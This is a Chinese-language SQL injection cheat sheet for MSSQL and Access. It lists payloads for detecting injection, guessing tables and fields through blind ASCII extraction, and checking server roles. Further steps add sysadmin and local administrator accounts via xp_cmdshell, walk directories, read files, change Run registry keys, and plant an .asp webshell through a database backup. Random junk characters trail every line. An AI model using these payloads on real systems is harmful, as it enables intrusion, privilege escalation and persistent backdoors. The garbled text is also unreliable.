1.判断是否有注入;and 1=1 ;and 1=2 ^zv,VD
2.初步判断是否是mssql ;and user>0 giDe
n&`=.[+A
3.注入参数是字符'and [查询条件] and ''=' +-VkRr#
^F*G
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 4Hk eXS.
:ziV3jRM
5.判断数据库系统 I`~ofq?r
rTgCmr'&
;and (select count(*) from sysobjects)>0 mssql W6d[v/+K+
_9^
;and (select count(*) from msysobjects)>0 access K)z!e;r
R`_RcHY:
t81}jD
xw)$).yc
6.猜数据库 ;and (select Count(*) from [数据库名])>0 \UD:9g"
Yb~[XS |p
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $Ka-ZPy<#
7AE)P[
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 } ! jk
I1IuvH6
9.(1)猜字段的ascii值(access) jmDQKqEc|l
N<e=!LV
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 '\&t3?;
z^KMYvH
g
(2)猜字段的ascii值(mssql) e)Be*J]4
" ^t3VjN
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 u+&t"B
-UHa;WH
10.测试权限结构(mssql) }i"\?M
S#kA$yO
4490l"
:#?Z)oQpT
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- z/B[quSio
aQMUC6cPM@
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Y6>@zznk
J`&*r;""V
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- fO;#;p.
7kQZ$sLc
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- fG+/p 0sJ?
|Sne\N>%
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- -*Voui
jO|D #nC
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- C6$F.v
*~t&Ux#hj
;and 1=(select IS_MEMBER('db_owner'));-- cVx#dDdA
pCE,l'Xa
&.>
2@
8BL]]gT-I
11.添加mssql和系统的帐户 (iwZs:k-
IfK%i/J
;exec master.dbo.sp_addlogin username;-- QO0#p1fom'
;exec master.dbo.sp_password null,username,password;-- 3X0"</G6
cTU%=/gbc<
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- }.nHT0l
iiWs]5
;exec master.dbo.xp_cmdshell 'net user username password MDHTZ94\Q
%Km^_JM
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- oVG/[e|c'
G(g.~|=EZ
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ewOd
=%
Rh[%UNl
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- _y,?Cj=u|
s/;iZiWK
8f\sG:$
X9J&OQ[W
12.(1)遍历目录 cv .R`)l
*A2D}X3s
;create table dirs(paths varchar(100), id int) (1t b
w^_[(9
`
;insert dirs exec master.dbo.xp_dirtree 'c:\' b5-W K;
{Qe7/ln!
;and (select top 1 paths from dirs)>0 V Z#@7t
[&tN(K9*
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) !\)9fOLs
9Y6Ear .W
?89K
[D|
TVk C pO,H
(2)遍历目录 l*v6U'J
TA2?Ia;@xV
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 7a,/DI2o
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 _(qU%B
]vFtByqn
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 &jg..R
)A@i2I
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 j>OuNeo@4
i`FskEoijq
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0q@U>#
Z=L~W,0'
]TE,N$X
QB/H
13.mssql中的存储过程 }JF,:g
Lk
d0b`qk @4
xp_regenumvalues 注册表根键, 子键 gcaXN6 C
~{8X$xs
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ,%bG]5
uxxS."~
xp_regread 根键,子键,键值名 e\9H'$1\
U2lDTRt
;exec xp_regread Vb
_W&Nwd
l"C)Ia&/
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 m(B,a,g<
*/T.]^
xp_regwrite 根键,子键, 值名, 值类型, 值 eJ=K*t|
/^m3?q[a
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 n1"QHA
[K*>W[n
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 q1|! oQ
X-Yy1"6m1
xp_regdeletevalue 根键,子键,值名 THFzC/~Q
b?=>)':f
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 OdZLJt?g
g[#4`Q<.
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Zx1 I&K\Cd
(_9cL,v
q=_&izmE'7
B. J_(V+
14.mssql的backup创建webshell ,h#U<CnP#
7%%FYHMO:
use model 3;N+5*-
p^E}%0#
create table cmd(str image); Hq>"rrVhx
T|/B}srm
insert into cmd(str) values (''); }Q=@$YIesD
0Rme}&$
backup database model to disk='c:\l.asp'; n#NE.ap$&,
?HsQ417.H
]]InD N
.y)Y20=o!
15.mssql内置函数 XDot3)2`
"!fvEE
;and (select @@version)>0 获得Windows的版本号 >h[ {_+
A#WvN>
;and user_name()='dbo' 判断当前系统的连接用户是不是sa SEL7,8 Hm
|?kZfr&9q
;and (select user_name())>0 爆当前系统的连接用户 miq"3
hDP&~Mk
;and (select db_name())>0 得到当前连接的数据库 M_ GN3
ZjOUk;H?
+Vf39}8
@S-p[u
16.简洁的webshell cP]5Qz
SU {U+
use model t$*V*gK{
hPM:=@N$
create table cmd(str image); ff1Em.
T VuDK
insert into cmd(str) values (''); " %,KZI
DaK2P;WP
backup database model to disk='g:\wwwtest\l.asp';